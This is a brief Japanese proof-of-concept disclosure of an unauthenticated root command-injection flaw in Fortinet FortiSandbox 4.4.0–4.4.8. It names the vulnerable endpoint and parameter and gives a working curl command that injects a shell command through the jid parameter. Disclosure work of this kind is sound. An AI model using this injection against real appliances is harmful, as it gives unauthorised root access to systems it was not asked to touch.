
FortiSandbox の未認証 RCE (CVE-2026-39808) の PoC
2025年11月、Fortinet の FortiSandbox に重大な脆弱性が発見されました。この脆弱性により、認証されていない攻撃者が基盤となる OS 上で root としてコマンドを実行できる可能性がありました。この脆弱性はパッチが適用され、2026年4月に最終的に公開されました。
この脆弱性は FortiSandbox バージョン 4.4.0 から 4.4.8 に影響します。
詳細なアドバイザリはこちらでご覧いただけます。
この脆弱性は /fortisandbox/job-detail/tracer-behavior エンドポイントに影響します。OS コマンドは、jid GET パラメータにパイプ記号(|)を使用して注入される可能性があります。
上記の例では、出力が Web ルート内のファイルにリダイレクトされ、後で取得できるようにしています。
事前認証なしで root として RCE を達成するには、単純な curl コマンドで十分です:
curl -s -k --get "http://$HOST/fortisandbox/job-detail/tracer-behavior" --data-urlencode "jid=|(id > /web/ng/out.txt)|"